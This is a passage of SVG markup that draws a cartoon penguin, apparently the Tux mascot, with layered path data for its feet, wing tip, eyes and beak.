d="m 34.98,175.33 c 1.38,-0.57 2.93,-0.68 4.39,-0.41 1.47,0.27 2.86,0.91 4.09,1.74 2.47,1.68 4.3,4.12 6.05,6.54 4.03,5.54 7.9,11.2 11.42,17.08 2.85,4.78 5.46,9.71 8.76,14.18 2.15,2.93 4.57,5.64 6.73,8.55 2.16,2.92 4.07,6.08 5.03,9.58 1.25,4.55 0.76,9.56 -1.4,13.75 -1.52,2.95 -3.86,5.48 -6.7,7.19 -2.84,1.71 -5.83,2.47 -9.15,2.47 -5.27,0 -10.42,-2.83 -15.32,-4.78 -9.98,-3.98 -20.82,-5.22 -31.11,-8.32 -3.16,-0.95 -6.27,-2.08 -9.45,-2.95 -1.42,-0.39 -2.85,-0.73 -4.19,-1.34 -1.34,-0.6 -2.59,-1.51 -3.33,-2.77 -0.57,-0.98 -0.8,-2.13 -0.8,-3.26 0,-1.14 0.28,-2.26 0.67,-3.32 0.77,-2.13 2.02,-4.06 2.86,-6.17 1.37,-3.44 1.62,-7.23 1.43,-10.93 -0.18,-3.69 -0.78,-7.36 -1.03,-11.05 -0.12,-1.65 -0.16,-3.32 0.16,-4.95 0.31,-1.62 1.01,-3.21 2.2,-4.35 1.1,-1.06 2.55,-1.69 4.05,-2 1.49,-0.31 3.03,-0.32 4.55,-0.29 1.52,0.03 3.05,0.12 4.57,-0.01 1.52,-0.12 3.05,-0.46 4.37,-1.22 1.26,-0.72 2.29,-1.79 3.14,-2.96 0.85,-1.17 1.54,-2.45 2.25,-3.72 0.7,-1.26 1.43,-2.52 2.36,-3.64 0.92,-1.12 2.06,-2.09 3.4,-2.64 z"/>
<path id="foot_left_layer_1" fill="#d99a03" filter="url(#blur_foot_left_layer_1)" clip-path="url(#clip_foot_left)"
d="m 37.16,177.7 c 1.25,-0.5 2.67,-0.56 3.98,-0.26 1.32,0.3 2.55,0.94 3.61,1.77 2.14,1.65 3.62,3.97 5.05,6.26 3.42,5.54 6.76,11.15 9.92,16.86 2.4,4.31 4.68,8.7 7.62,12.65 1.95,2.62 4.18,5.03 6.17,7.62 1.99,2.59 3.76,5.41 4.64,8.56 1.14,4.05 0.68,8.54 -1.28,12.26 -1.42,2.68 -3.58,4.96 -6.2,6.48 -2.61,1.52 -5.67,2.28 -8.69,2.14 -4.82,-0.22 -9.23,-2.63 -13.77,-4.26 -8.71,-3.16 -18.14,-3.59 -27.08,-6.05 -3.2,-0.87 -6.32,-2.03 -9.53,-2.84 -1.43,-0.36 -2.88,-0.66 -4.23,-1.23 -1.35,-0.57 -2.62,-1.45 -3.36,-2.72 -0.54,-0.95 -0.76,-2.06 -0.73,-3.15 0.04,-1.09 0.31,-2.17 0.7,-3.19 0.78,-2.04 2,-3.88 2.78,-5.92 1.19,-3.08 1.34,-6.47 1.12,-9.76 -0.22,-3.29 -0.8,-6.56 -1,-9.85 -0.08,-1.48 -0.1,-2.97 0.2,-4.41 0.3,-1.45 0.93,-2.85 1.98,-3.89 1.14,-1.13 2.7,-1.74 4.29,-1.99 1.58,-0.24 3.19,-0.13 4.78,0.01 1.6,0.14 3.2,0.32 4.8,0.23 1.6,-0.1 3.22,-0.49 4.54,-1.39 1.2,-0.81 2.1,-2 2.79,-3.27 0.69,-1.27 1.18,-2.64 1.71,-3.98 0.52,-1.35 1.09,-2.69 1.91,-3.89 0.82,-1.19 1.93,-2.24 3.28,-2.79 z"/>
<path id="foot_left_layer_2" fill="#f5bd0c" filter="url(#blur_foot_left_layer_2)" clip-path="url(#clip_foot_left)"
d="m 35.99,174.57 c 1.22,-0.6 2.65,-0.72 3.98,-0.45 1.33,0.27 2.57,0.92 3.62,1.77 2.09,1.7 3.43,4.13 4.67,6.51 2.84,5.46 5.5,11.04 8.9,16.19 2.48,3.73 5.33,7.2 7.83,10.92 3.39,5.03 6.15,10.57 7.29,16.5 0.76,4 0.74,8.31 -1.18,11.9 -1.27,2.37 -3.32,4.31 -5.75,5.52 -2.42,1.22 -5.21,1.71 -7.92,1.47 -4.27,-0.37 -8.14,-2.47 -12.16,-3.94 -7.13,-2.59 -14.84,-3.22 -22.18,-5.18 -3.09,-0.82 -6.13,-1.89 -9.26,-2.54 -1.39,-0.29 -2.8,-0.5 -4.12,-1 -1.32,-0.5 -2.57,-1.33 -3.25,-2.55 -0.47,-0.86 -0.63,-1.86 -0.56,-2.84 0.07,-0.97 0.36,-1.92 0.74,-2.83 0.77,-1.8 1.9,-3.46 2.49,-5.32 0.88,-2.75 0.52,-5.72 -0.14,-8.53 -0.65,-2.8 -1.6,-5.55 -1.89,-8.41 -0.13,-1.27 -0.13,-2.57 0.17,-3.82 0.29,-1.25 0.88,-2.45 1.81,-3.34 1.2,-1.15 2.88,-1.73 4.56,-1.89 1.67,-0.16 3.35,0.06 5.01,0.3 1.66,0.24 3.34,0.5 5.01,0.42 1.68,-0.07 3.39,-0.51 4.7,-1.54 1.3,-1.02 2.12,-2.53 2.59,-4.09 0.47,-1.57 0.62,-3.2 0.81,-4.82 0.19,-1.62 0.43,-3.26 1.06,-4.77 0.63,-1.51 1.69,-2.9 3.17,-3.64 z"/>
<path id="foot_left_glare" fill="url(#fill_foot_left_glare)" filter="url(#blur_foot_left_glare)" clip-path="url(#clip_foot_left)"
d="m 51.2,188.21 c 2.25,4.06 3.62,8.72 5.85,12.82 2.05,3.77 4.38,7.65 6.46,11.12 0.93,1.55 3.09,3.93 5.27,7.62 1.98,3.34 3.98,8.01 5.1,9.58 -0.64,-1.84 -1.96,-6.77 -3.54,-10.28 -1.47,-3.28 -3.19,-5.15 -4.24,-6.92 -2.08,-3.47 -4.33,-6.6 -6.47,-9.91 -2.95,-4.57 -5.2,-9.68 -8.43,-14.03 z"/>
</g>
<g id="foot_right">
<path id="foot_right_shadow" opacity="0.2" fill="url(#fill_foot_right_shadow)" filter="url(#blur_foot_right_shadow)" clip-path="url(#clip_body)"
d="m 198.7,215.61 c -0.4,1.33 -1.02,2.62 -1.81,3.8 -1.75,2.59 -4.3,4.55 -6.84,6.35 -4.33,3.07 -8.85,5.89 -12.89,9.38 -2.7,2.34 -5.17,4.97 -7.45,7.73 -1.95,2.36 -3.79,4.84 -6.02,6.94 -2.25,2.12 -4.89,3.84 -7.74,4.77 -3.47,1.13 -7.13,1.08 -10.47,0.22 -2.34,-0.6 -4.63,-1.64 -6.08,-3.53 -1.45,-1.89 -1.92,-4.44 -2.09,-6.94 -0.3,-4.42 0.23,-8.93 0.71,-13.42 0.4,-3.73 0.77,-7.46 0.92,-11.18 0.27,-6.77 -0.18,-13.47 -1.09,-20.05 -0.16,-1.11 -0.32,-2.22 -0.23,-3.35 0.09,-1.14 0.47,-2.32 1.27,-3.2 0.74,-0.81 1.77,-1.29 2.79,-1.52 1.02,-0.24 2.06,-0.25 3.09,-0.28 2.43,-0.06 4.86,-0.21 7.25,0.01 1.51,0.13 2.99,0.41 4.49,0.55 2.51,0.24 5.12,0.12 7.64,-0.62 2.71,-0.8 5.29,-2.29 8.05,-2.7 1.13,-0.17 2.26,-0.15 3.36,0.01 1.12,0.15 2.24,0.46 3.1,1.15 0.66,0.52 1.14,1.23 1.51,1.99 0.56,1.14 0.9,2.39 1.1,3.68 0.17,1.14 0.24,2.31 0.53,3.41 0.48,1.81 1.58,3.35 2.89,4.6 1.32,1.25 2.85,2.24 4.39,3.22 1.53,0.97 3.07,1.93 4.7,2.73 0.77,0.38 1.56,0.72 2.29,1.15 0.74,0.44 1.42,0.97 1.91,1.67 0.66,0.95 0.92,2.2 0.72,3.43 z"/>
<path id="foot_right_base" fill="url(#fill_foot_right_base)"
d="m 213.47,222.92 c -2.26,2.68 -5.4,4.45 -8.53,6.05 -5.33,2.71 -10.86,5.1 -15.87,8.37 -3.36,2.19 -6.46,4.76 -9.36,7.53 -2.48,2.37 -4.83,4.9 -7.61,6.91 -2.81,2.03 -6.05,3.5 -9.48,4.01 -0.95,0.14 -1.9,0.21 -2.86,0.21 -3.24,0 -6.48,-0.78 -9.46,-2.08 -2.7,-1.17 -5.3,-2.86 -6.86,-5.36 -1.56,-2.52 -1.92,-5.59 -1.92,-8.56 -0.01,-5.23 0.96,-10.41 1.87,-15.57 0.76,-4.29 1.48,-8.58 1.95,-12.91 0.85,-7.86 0.84,-15.81 0.28,-23.71 -0.1,-1.32 -0.21,-2.65 -0.01,-3.96 0.2,-1.31 0.74,-2.62 1.74,-3.48 0.93,-0.8 2.17,-1.16 3.4,-1.22 1.22,-0.07 2.44,0.12 3.65,0.3 2.85,0.42 5.73,0.74 8.52,1.48 1.76,0.46 3.48,1.08 5.23,1.56 2.94,0.79 6.01,1.17 9.02,0.82 3.25,-0.38 6.41,-1.6 9.68,-1.52 1.34,0.03 2.67,0.28 3.95,0.69 1.3,0.41 2.59,1 3.55,1.98 0.73,0.74 1.24,1.67 1.62,2.64 0.57,1.44 0.88,2.98 1.01,4.52 0.11,1.37 0.09,2.76 0.35,4.11 0.43,2.21 1.6,4.24 3.04,5.97 1.45,1.74 3.18,3.21 4.91,4.66 1.73,1.45 3.46,2.89 5.32,4.16 0.87,0.6 1.77,1.16 2.6,1.81 0.83,0.66 1.59,1.42 2.11,2.34 0.45,0.81 0.69,1.72 0.69,2.65 0,0.52 -0.07,1.04 -0.23,1.56 -0.45,1.43 -1.28,2.82 -2.3,4.04 z"/>
<path id="foot_right_layer_1" fill="#cd8907" filter="url(#blur_foot_right_layer_1)" clip-path="url(#clip_foot_right)"
d="m 213.21,216.12 c -0.53,1.33 -1.28,2.58 -2.22,3.67 -2.07,2.42 -4.93,4.01 -7.78,5.44 -4.88,2.44 -9.92,4.58 -14.5,7.52 -3.06,1.97 -5.9,4.28 -8.55,6.78 -2.26,2.13 -4.41,4.41 -6.95,6.21 -2.57,1.83 -5.53,3.14 -8.65,3.6 -3.8,0.56 -7.72,-0.16 -11.25,-1.67 -2.46,-1.06 -4.84,-2.56 -6.27,-4.83 -1.42,-2.26 -1.75,-5.02 -1.75,-7.69 -0.02,-4.71 0.87,-9.37 1.71,-14 0.7,-3.85 1.36,-7.71 1.78,-11.6 0.76,-7.08 0.73,-14.22 0.25,-21.32 -0.08,-1.19 -0.17,-2.39 0.01,-3.57 0.18,-1.18 0.67,-2.35 1.57,-3.13 0.85,-0.73 1.99,-1.05 3.11,-1.1 1.11,-0.06 2.22,0.12 3.33,0.28 2.61,0.38 5.23,0.67 7.78,1.33 1.61,0.42 3.18,0.98 4.78,1.4 2.68,0.72 5.49,1.06 8.24,0.74 2.97,-0.34 5.85,-1.44 8.83,-1.37 1.23,0.03 2.44,0.26 3.61,0.62 1.19,0.37 2.37,0.9 3.25,1.78 0.66,0.67 1.11,1.51 1.48,2.38 0.53,1.29 0.89,2.67 0.91,4.07 0.03,1.46 -0.28,2.92 -0.09,4.37 0.16,1.17 0.66,2.28 1.3,3.28 0.63,1 1.4,1.91 2.17,2.81 1.48,1.75 2.96,3.53 4.82,4.87 2.11,1.53 4.62,2.43 6.8,3.85 0.65,0.43 1.28,0.91 1.74,1.54 0.78,1.06 0.98,2.5 0.54,3.74 z"/>
<path id="foot_right_layer_2" fill="#f5c021" filter="url(#blur_foot_right_layer_2)" clip-path="url(#clip_foot_right)"
d="m 212.91,214.61 c -0.6,1.35 -1.37,2.6 -2.28,3.71 -2.12,2.58 -4.99,4.35 -8,5.49 -4.97,1.88 -10.39,2.13 -15.26,4.27 -2.97,1.3 -5.65,3.26 -8.36,5.12 -2.18,1.49 -4.42,2.94 -6.82,3.98 -2.72,1.19 -5.6,1.85 -8.5,2.32 -1.84,0.29 -3.71,0.51 -5.57,0.41 -1.86,-0.1 -3.72,-0.54 -5.37,-1.49 -1.24,-0.72 -2.36,-1.75 -3.03,-3.1 -0.73,-1.49 -0.86,-3.24 -0.85,-4.94 0.05,-4.5 1.02,-8.96 0.99,-13.47 -0.03,-3.93 -0.81,-7.8 -1.03,-11.72 -0.43,-7.54 1.19,-15.2 -0.24,-22.59 -0.22,-1.19 -0.53,-2.37 -0.52,-3.58 0.01,-0.6 0.1,-1.21 0.31,-1.77 0.22,-0.55 0.56,-1.06 1.01,-1.42 0.39,-0.29 0.84,-0.47 1.31,-0.56 0.46,-0.08 0.94,-0.06 1.41,0.01 0.93,0.15 1.82,0.51 2.73,0.78 2.6,0.78 5.35,0.76 8,1.35 1.66,0.36 3.26,0.97 4.91,1.41 2.75,0.76 5.63,1.08 8.46,0.75 3.04,-0.36 6.01,-1.46 9.07,-1.38 1.26,0.03 2.5,0.26 3.71,0.62 1.21,0.36 2.42,0.87 3.34,1.8 0.65,0.67 1.13,1.52 1.51,2.4 0.57,1.29 0.96,2.69 0.95,4.11 -0.01,0.74 -0.12,1.47 -0.19,2.21 -0.06,0.74 -0.08,1.49 0.09,2.2 0.18,0.72 0.55,1.37 0.97,1.96 0.42,0.59 0.9,1.12 1.34,1.7 1.22,1.61 2.1,3.49 3.05,5.3 0.95,1.81 2.02,3.6 3.53,4.91 2.05,1.77 4.7,2.48 6.99,3.89 0.67,0.41 1.31,0.89 1.78,1.55 0.38,0.52 0.63,1.15 0.73,1.81 0.09,0.65 0.03,1.34 -0.17,1.96 z"/>
<path id="foot_right_glare" fill="url(#fill_foot_right_glare)" filter="url(#blur_foot_right_glare)" clip-path="url(#clip_foot_right)"
d="m 148.08,181.58 c 2.82,-0.76 5.22,1.38 7.27,2.99 1.32,1.13 3.24,0.85 4.86,0.9 2.69,-0.09 5.36,0.45 8.05,0.12 5.3,-0.45 10.49,-1.75 15.81,-1.97 2.54,-0.16 5.4,-0.31 7.59,1.17 0.89,0.62 2.2,3.23 3.07,2.25 -0.36,-2.74 -2.39,-5.39 -5.11,-6.12 -2.14,-0.34 -4.3,0.25 -6.46,0.06 -6.39,-0.15 -12.75,-1.34 -19.16,-1 -4.46,0.04 -8.91,-0.17 -13.37,-0.34 -1.75,-0.36 -2.37,1.19 -3.32,1.79 0.25,0.19 0.34,0.25 0.77,0.15 z"/>
</g>
</g>
<g id="wing_tip_right">
<g id="wing_tip_right_shadow">
<path id="wing_tip_right_shadow_lower" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_lower)" filter="url(#blur_wing_tip_right_shadow_lower)" clip-path="url(#clip_foot_right)"
d="m 185.49,187.61 c -0.48,-0.95 -1.36,-1.66 -2.35,-2.07 -0.98,-0.41 -2.06,-0.55 -3.13,-0.54 -2.13,0.02 -4.25,0.57 -6.38,0.39 -1.79,-0.16 -3.49,-0.83 -5.24,-1.26 -1.81,-0.44 -3.73,-0.61 -5.52,-0.12 -1.92,0.52 -3.61,1.81 -4.67,3.49 -0.94,1.48 -1.38,3.23 -1.52,4.98 -0.14,1.75 0.01,3.5 0.19,5.25 0.12,1.26 0.27,2.52 0.57,3.75 0.31,1.23 0.78,2.43 1.52,3.46 1.07,1.48 2.66,2.54 4.37,3.17 2.8,1.03 5.98,0.98 8.73,-0.15 4.88,-2.12 9.01,-5.92 11.52,-10.6 0.91,-1.68 1.61,-3.47 2.06,-5.31 0.18,-0.74 0.32,-1.49 0.32,-2.25 0.01,-0.75 -0.12,-1.52 -0.47,-2.19 z"/>
<path id="wing_tip_right_shadow_upper" opacity="0.35" fill="url(#fill_wing_tip_right_shadow_upper)" filter="url(#blur_wing_tip_right_shadow_upper)" clip-path="url(#clip_foot_right)"
d="m 185.49,184.89 c -0.48,-0.69 -1.36,-1.2 -2.35,-1.5 -0.98,-0.3 -2.06,-0.39 -3.13,-0.39 -2.13,0.02 -4.25,0.42 -6.38,0.28 -1.79,-0.11 -3.49,-0.6 -5.24,-0.9 -1.81,-0.32 -3.73,-0.45 -5.52,-0.09 -1.92,0.37 -3.61,1.3 -4.67,2.52 -0.94,1.07 -1.38,2.34 -1.52,3.6 -0.14,1.26 0.01,2.53 0.19,3.79 0.12,0.91 0.27,1.83 0.57,2.72 0.31,0.89 0.78,1.76 1.52,2.5 1.07,1.07 2.66,1.83 4.37,2.29 2.8,0.75 5.98,0.71 8.73,-0.11 4.88,-1.53 9.01,-4.28 11.52,-7.66 0.91,-1.22 1.61,-2.51 2.06,-3.84 0.18,-0.54 0.32,-1.08 0.32,-1.62 0.01,-0.55 -0.12,-1.11 -0.47,-1.59 z"/>
</g>
<path id="wing_tip_right_base" fill="#020204"
d="m 189.55,178.72 c -0.35,-0.95 -0.97,-1.79 -1.72,-2.47 -0.75,-0.68 -1.64,-1.2 -2.57,-1.6 -1.86,-0.79 -3.89,-1.09 -5.89,-1.46 -1.87,-0.35 -3.74,-0.78 -5.62,-1.1 -1.96,-0.33 -3.98,-0.55 -5.92,-0.11 -1.69,0.38 -3.26,1.26 -4.54,2.43 -1.28,1.17 -2.28,2.63 -3,4.21 -1.27,2.79 -1.67,5.92 -1.43,8.97 0.18,2.27 0.76,4.61 2.25,6.32 1.21,1.39 2.92,2.26 4.68,2.78 3.04,0.9 6.35,0.85 9.36,-0.13 4.97,-1.67 9.37,-4.98 12.35,-9.29 0.98,-1.43 1.82,-2.98 2.2,-4.66 0.29,-1.28 0.3,-2.66 -0.15,-3.89 z"/>
<g id="wing_tip_right_glare">
<defs>
<path id="path_wing_tip_right_glare"
d="m 168.89,171.07 c -0.47,0.03 -0.93,0.08 -1.4,0.17 -2.99,0.53 -5.73,2.42 -7.27,5.03 -1.09,1.85 -1.58,4.03 -1.43,6.17 0.07,-1.5 0.46,-2.97 1.19,-4.28 1.23,-2.23 3.47,-3.91 5.98,-4.37 1.54,-0.28 3.13,-0.11 4.68,0.08 1.5,0.19 3,0.39 4.47,0.7 2.28,0.5 4.53,1.26 6.44,2.59 0.44,0.31 0.86,0.66 1.21,1.08 0.35,0.41 0.62,0.89 0.73,1.42 0.15,0.78 -0.07,1.6 -0.46,2.29 -0.39,0.7 -0.92,1.3 -1.48,1.86 -0.46,0.46 -0.94,0.89 -1.43,1.32 2.21,-0.43 4.44,-1.03 6.28,-2.31 0.77,-0.55 1.48,-1.2 1.94,-2.02 0.46,-0.83 0.65,-1.83 0.43,-2.75 -0.16,-0.62 -0.5,-1.19 -0.92,-1.67 -0.42,-0.48 -0.93,-0.87 -1.45,-1.24 -2.31,-1.62 -5.01,-2.65 -7.81,-2.99 -1.8,-0.33 -3.61,-0.61 -5.42,-0.83 -1.41,-0.18 -2.86,-0.33 -4.28,-0.25 z"/>
</defs>
<use id="wing_tip_right_glare_1" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
fill="url(#fill_wing_tip_right_glare_1)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
<use id="wing_tip_right_glare_2" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
fill="url(#fill_wing_tip_right_glare_2)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
</g>
</g>
<g id="face">
<g id="eyes">
<g id="eye_left">
<path id="eyeball_left" fill="url(#fill_eyeball_left)"
d="m 84.45,38.28 c -1.53,0.08 -3,0.79 -4.12,1.84 -1.13,1.05 -1.92,2.43 -2.41,3.88 -0.97,2.92 -0.75,6.08 -0.53,9.15 0.2,2.77 0.41,5.6 1.45,8.18 0.52,1.3 1.25,2.51 2.22,3.51 0.97,0.99 2.2,1.76 3.55,2.09 1.26,0.32 2.62,0.26 3.86,-0.13 1.25,-0.4 2.38,-1.11 3.32,-2.02 1.36,-1.33 2.27,-3.07 2.8,-4.9 0.53,-1.83 0.68,-3.75 0.65,-5.66 -0.04,-2.38 -0.35,-4.77 -1.09,-7.03 -0.75,-2.26 -1.94,-4.4 -3.6,-6.11 -0.8,-0.83 -1.72,-1.55 -2.75,-2.06 -1.04,-0.51 -2.2,-0.8 -3.35,-0.74 z"/>
<g id="pupil_left">
<path id="pupil_left_base" fill="#020204"
d="m 80.75,50.99 c -0.32,1.94 -0.33,3.97 0.33,5.81 0.44,1.22 1.17,2.33 2.05,3.28 0.57,0.62 1.23,1.18 1.99,1.55 0.77,0.37 1.65,0.52 2.48,0.32 0.76,-0.19 1.42,-0.68 1.91,-1.29 0.49,-0.61 0.82,-1.34 1.05,-2.09 0.69,-2.21 0.58,-4.62 -0.11,-6.83 -0.49,-1.61 -1.32,-3.16 -2.6,-4.24 -0.62,-0.52 -1.34,-0.93 -2.12,-1.11 -0.78,-0.19 -1.63,-0.14 -2.36,0.19 -0.81,0.37 -1.44,1.07 -1.85,1.86 -0.41,0.79 -0.62,1.67 -0.77,2.55 z"/>
<path id="pupil_left_glare" fill="url(#fill_pupil_left_glare)" filter="url(#blur_pupil_left_glare)" clip-path="url(#clip_pupil_left)"
d="m 84.84,49.59 c 0.21,0.55 0.91,0.75 1.3,1.19 0.37,0.42 0.76,0.87 0.97,1.4 0.39,1.01 -0.39,2.51 0.43,3.23 0.25,0.22 0.77,0.23 1.02,0 0.99,-0.9 0.77,-2.71 0.38,-3.99 -0.36,-1.15 -1.23,-2.25 -2.31,-2.8 -0.5,-0.26 -1.25,-0.47 -1.68,-0.11 -0.27,0.24 -0.24,0.74 -0.11,1.08 z"/>
</g>
<path id="eyelid_left" fill="url(#fill_eyelid_left)" clip-path="url(#clip_eye_left)"
d="m 81.14,44.46 c 2.32,-1.38 5.13,-1.7 7.82,-1.45 2.68,0.26 5.27,1.04 7.87,1.75 1.91,0.52 3.84,1 5.63,1.84 1.78,0.84 3.44,2.08 4.43,3.8 0.16,0.27 0.29,0.56 0.46,0.83 0.17,0.27 0.37,0.52 0.62,0.71 0.25,0.19 0.57,0.32 0.88,0.3 0.16,-0.01 0.32,-0.05 0.45,-0.13 0.14,-0.08 0.26,-0.2 0.33,-0.34 0.08,-0.16 0.11,-0.35 0.1,-0.53 -0.01,-0.18 -0.05,-0.36 -0.1,-0.54 -0.65,-2.37 -2.19,-4.38 -3.35,-6.55 -0.7,-1.3 -1.28,-2.66 -1.98,-3.96 -2.43,-4.45 -6.42,-7.94 -10.95,-10.21 -4.53,-2.27 -9.59,-3.36 -14.65,-3.65 -5.86,-0.35 -11.73,0.35 -17.51,1.37 -2.51,0.44 -5.06,0.96 -7.27,2.21 -1.11,0.62 -2.13,1.42 -2.92,2.42 -0.8,0.99 -1.36,2.18 -1.55,3.44 -0.17,1.22 0.01,2.47 0.44,3.62 0.42,1.15 1.08,2.2 1.86,3.15 1.54,1.91 3.53,3.39 5.36,5.03 1.83,1.63 3.52,3.44 5.57,4.79 1.02,0.68 2.13,1.24 3.31,1.57 1.18,0.33 2.44,0.42 3.64,0.17 1.24,-0.25 2.4,-0.86 3.41,-1.64 1.01,-0.77 1.88,-1.7 2.71,-2.66 1.66,-1.93 3.21,-4.04 5.39,-5.34 z"/>
<path id="eyebrow_left" fill="url(#fill_eyebrow_left)" filter="url(#blur_eyebrow_left)"
d="m 90.77,36.57 c 2.16,2.02 3.76,4.52 4.85,7.16 -0.48,-2.91 -1.23,-5.26 -3.13,-7.16 -1.16,-1.09 -2.49,-2.05 -3.98,-2.72 -1.32,-0.59 -2.77,-0.96 -3.61,-0.97 -0.83,-0.02 -1.03,0 -1.2,0.01 -0.18,0.01 -0.31,0.01 0.23,0.08 0.54,0.06 1.75,0.39 3.05,0.97 1.3,0.58 2.62,1.54 3.79,2.63 z"/>
</g>
<g id="eye_right">
<path id="eyeball_right" fill="url(#fill_eyeball_right)"
d="m 111.61,38.28 c -2.39,1.65 -4.4,3.94 -5.38,6.68 -1.24,3.45 -0.77,7.31 0.43,10.77 1.22,3.55 3.27,6.93 6.36,9.06 1.54,1.07 3.33,1.8 5.19,2.02 1.87,0.22 3.8,-0.09 5.47,-0.95 2.02,-1.06 3.57,-2.91 4.53,-4.98 0.96,-2.08 1.37,-4.37 1.5,-6.66 0.16,-2.9 -0.12,-5.86 -1.08,-8.61 -1.04,-2.99 -2.92,-5.75 -5.58,-7.47 -1.32,-0.86 -2.83,-1.45 -4.4,-1.67 -1.57,-0.22 -3.19,-0.05 -4.67,0.52 -0.84,0.33 -1.62,0.78 -2.37,1.29 z"/>
<g id="pupil_right">
<path id="pupil_right_base" fill="#020204"
d="m 117.14,45.52 c -0.9,0.06 -1.78,0.37 -2.55,0.85 -0.76,0.48 -1.41,1.13 -1.92,1.88 -1.03,1.49 -1.48,3.31 -1.55,5.12 -0.05,1.35 0.1,2.72 0.55,4 0.45,1.28 1.2,2.47 2.25,3.33 1.07,0.89 2.42,1.42 3.81,1.49 1.39,0.06 2.79,-0.34 3.93,-1.13 0.91,-0.63 1.64,-1.5 2.16,-2.48 0.52,-0.97 0.84,-2.05 0.98,-3.15 0.25,-1.93 -0.03,-3.95 -0.93,-5.69 -0.89,-1.74 -2.41,-3.17 -4.24,-3.84 -0.8,-0.29 -1.65,-0.44 -2.49,-0.38 z"/>
<path id="pupil_right_glare" fill="url(#fill_pupil_right_glare)" filter="url(#blur_pupil_right_glare)" clip-path="url(#clip_pupil_right)"
d="m 122.71,53.36 c 1,-1 -0.71,-3.65 -2.05,-4.74 -0.97,-0.78 -3.78,-1.61 -3.66,-0.75 0.12,0.85 1.39,1.95 2.23,2.79 1.05,1.03 3,3.18 3.48,2.7 z"/>
</g>
<path id="eyelid_right" fill="url(#fill_eyelid_right)" clip-path="url(#clip_eye_right)"
d="m 102.56,47.01 c 2.06,-1.71 4.45,-3.01 7,-3.8 5.25,-1.62 11.2,-0.98 15.84,1.97 1.6,1.01 3.03,2.27 4.52,3.45 1.48,1.17 3.06,2.27 4.85,2.9 0.97,0.34 2,0.54 3.02,0.43 0.92,-0.09 1.81,-0.44 2.57,-0.96 0.76,-0.53 1.4,-1.23 1.88,-2.02 0.96,-1.58 1.27,-3.5 1.1,-5.34 -0.33,-3.69 -2.41,-6.94 -4.15,-10.21 -0.55,-1.02 -1.07,-2.06 -1.73,-3.01 -2.01,-2.93 -5.23,-4.86 -8.6,-5.99 -3.37,-1.13 -6.93,-1.54 -10.46,-1.98 -1.58,-0.2 -3.17,-0.41 -4.74,-0.22 -1.81,0.22 -3.51,0.95 -5.28,1.4 -0.84,0.22 -1.69,0.37 -2.52,0.61 -0.83,0.24 -1.65,0.57 -2.33,1.11 -0.98,0.79 -1.6,1.98 -1.87,3.21 -0.27,1.24 -0.21,2.52 -0.01,3.77 0.39,2.5 1.33,4.93 1.24,7.46 -0.06,1.73 -0.61,3.44 -0.54,5.17 0.02,0.51 0.12,1.55 0.21,2.05 z"/>
<path id="eyebrow_right" fill="url(#fill_eyebrow_right)" filter="url(#blur_eyebrow_right)"
d="m 119.93,31.18 c -0.41,0.52 -0.78,1.08 -1.07,1.7 1.85,0.4 3.61,1.16 5.19,2.21 3.06,2.03 5.38,4.99 7.01,8.29 0.38,-0.42 0.72,-0.87 1.02,-1.37 -1.64,-3.44 -4,-6.55 -7.16,-8.65 -1.52,-1 -3.21,-1.77 -4.99,-2.18 z"/>
</g>
</g>
<g id="beak">
<g id="beak_shadow">
<path id="beak_shadow_lower" fill="#000000" fill-opacity="0.258824" filter="url(#blur_beak_shadow_lower)" clip-path="url(#clip_body)"
d="m 81.12,89.33 c 1.47,4.26 4.42,7.89 7.92,10.72 1.16,0.95 2.39,1.82 3.76,2.43 1.36,0.62 2.87,0.97 4.36,0.84 1.46,-0.12 2.85,-0.7 4.13,-1.42 1.28,-0.72 2.46,-1.59 3.7,-2.37 2.12,-1.35 4.39,-2.44 6.6,-3.64 2.65,-1.45 5.23,-3.1 7.46,-5.14 1.03,-0.93 1.98,-1.95 3.11,-2.75 1.13,-0.81 2.49,-1.39 3.87,-1.29 1.04,0.07 2.01,0.51 3.03,0.73 0.51,0.11 1.03,0.16 1.55,0.08 0.51,-0.08 1.01,-0.29 1.37,-0.67 0.44,-0.46 0.64,-1.12 0.61,-1.76 -0.02,-0.63 -0.24,-1.25 -0.54,-1.81 -0.59,-1.13 -1.49,-2.1 -1.89,-3.31 -0.36,-1.08 -0.29,-2.24 -0.26,-3.37 0.03,-1.14 0.01,-2.32 -0.51,-3.33 -0.4,-0.76 -1.07,-1.37 -1.83,-1.77 -0.76,-0.41 -1.62,-0.62 -2.48,-0.7 -1.72,-0.16 -3.44,0.18 -5.17,0.27 -2.28,0.13 -4.58,-0.15 -6.87,-0.02 -2.85,0.18 -5.65,1 -8.51,1.01 -3.26,0.01 -6.52,-1.06 -9.74,-0.55 -1.39,0.22 -2.71,0.72 -4.03,1.16 -1.33,0.45 -2.7,0.84 -4.1,0.82 -1.59,-0.03 -3.13,-0.58 -4.72,-0.69 -0.79,-0.06 -1.6,0 -2.35,0.28 -0.74,0.28 -1.41,0.79 -1.78,1.5 -0.21,0.4 -0.31,0.86 -0.33,1.31 -0.02,0.46 0.04,0.91 0.15,1.36 0.22,0.88 0.63,1.71 0.96,2.55 1.2,3.07 1.46,6.42 2.53,9.53 z"/>
<path id="beak_shadow_upper" opacity="0.3" fill="#000000" filter="url(#blur_beak_shadow_upper)" clip-path="url(#clip_body)"
d="m 77.03,77.2 c 2.85,1.76 5.41,3.93 7.56,6.39 1.99,2.29 3.68,4.89 6.29,6.58 1.83,1.2 4.04,1.87 6.28,2.08 2.63,0.24 5.29,-0.15 7.83,-0.84 2.35,-0.63 4.62,-1.53 6.7,-2.71 3.97,-2.25 7.28,-5.55 11.65,-7.03 0.95,-0.33 1.94,-0.56 2.86,-0.96 0.92,-0.39 1.79,-0.99 2.23,-1.83 0.42,-0.82 0.4,-1.75 0.54,-2.64 0.15,-0.96 0.48,-1.88 0.66,-2.83 0.18,-0.95 0.2,-1.96 -0.24,-2.83 -0.37,-0.72 -1.04,-1.29 -1.81,-1.66 -0.77,-0.36 -1.64,-0.52 -2.51,-0.56 -1.72,-0.08 -3.43,0.33 -5.16,0.47 -2.28,0.19 -4.58,-0.08 -6.87,-0.01 -2.85,0.08 -5.66,0.67 -8.51,0.8 -3.25,0.14 -6.49,-0.34 -9.74,-0.44 -1.41,-0.05 -2.83,-0.03 